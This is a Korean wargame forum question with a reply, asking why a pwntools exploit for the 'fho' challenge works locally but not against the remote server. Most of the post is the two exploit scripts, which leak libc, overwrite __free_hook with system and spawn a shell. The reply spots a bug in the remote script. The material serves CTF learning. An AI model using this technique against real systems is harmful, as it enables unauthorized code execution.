로컬에선 익스가 되는데, 원격지에선 불가능합니다.
1. 익스플로잇 코드
1-1. 로컬
from pwn import *
libc_start_main_offset = 0x21ba0+231
system_offset = 0x4f420 #
binsh_offset = 0x1b3d88
free_hook_offset = 0x3ed8e8
log.contect_level = 'debug'
p = process("./fho")
LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp
pause()
p.send(LibcLeakGarbage)
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
print("main ret addr : " + hex(Libc))
libc_base = Libc-libc_start_main_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
free_hook_addr = libc_base + free_hook_offset
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))
p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))
p.recvuntil("With:")
pause()
p.sendline(str(system_addr))
p.recvuntil("free:")
pause()
p.sendline(str(binsh_addr))
p.interactive()
1-2. 원격지
from pwn import *
log.contect_level = 'debug'
libc = ELF("./libc6-x32_2.21-0ubuntu4.3_i386.so")
p = remote("host3.dreamhack.games", *****)
LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp
pause()
p.send(LibcLeakGarbage)
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
#u64(p.recvline()[:-1] + b'\x00'*2)
print("main ret addr : " + hex(Libc))
libc_base = Libc-(libc.symbols['__libc_start_main'] + 231)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.symbols['__free_hook']
free_hook_addr = libc_base + libc.symbols['__free_hook']
print("libc_start_main_now : " + hex(Libc))
print("libc_start_main : " + hex(libc_base))
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))
p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))
p.recvuntil("With: ")
pause()
p.sendline(str(system_addr))
pause()
p.sendline(str(binsh_addr))
p.interactive()
2. 질문 사항
1-1의 코드로 로컬에선 익스가 가능한데, 1-2의 코드로 원격지에선 익스가 불가능합니다. 어떻게 해결하면 좋을까요?
2-1. 시도해본 것
- docker과 워게임의 libc 버전이 다를 수도 있단 생각이 들어서, ret의 libc_start_main을 leak한 후 https://libc.blukat.me/ 의 libc database에서 하위 1.5byte에 부합하는 몇 가지 libc 버전을 추렸습니다.
이후 1-2 코드의 5 line에 각 so 파일을 전부 대입해봤지만 익스되지 않았습니다. - fho 바이너리를 docker가 아닌 host wsl의 pwndbg로 뜯어봤을 때, docker에선 ret에 libc_start_main+231이 아닌 libc_start_call_main+128이 들어있는 걸 볼 수 있었습니다. 따라서 바이너리가 위치한 os 버전에 따라 ret에 적힌 주소가 libc_start_main이 아닐 수도 있고, 혹은 맞긴하지만 offset이 231이 아닐 수도 있단 생각이 들었습니다.
그러나 1-1과 1-2 모두 중간까지 실행하고 출력값을 봤을때, libc_base의 하위 1.5byte가 0으로 채워져 있었기에 ret가 libc_start_main+231인 것은 거의 확실하다고 생각하여 해당 가능성은 폐지했습니다.
#pwnable
#system
#hook_overwrite
#pie
#relro
작성자 정보
답변
1
리신뭐해갱오라고
대표 업적 없음
혹시 이것 때문인가요? 1-2 코드를 실제로 이렇게 쓴건지 질문 글에만 이렇게 쓰신건지?
binsh_addr = libc_base + libc.symbols['__free_hook']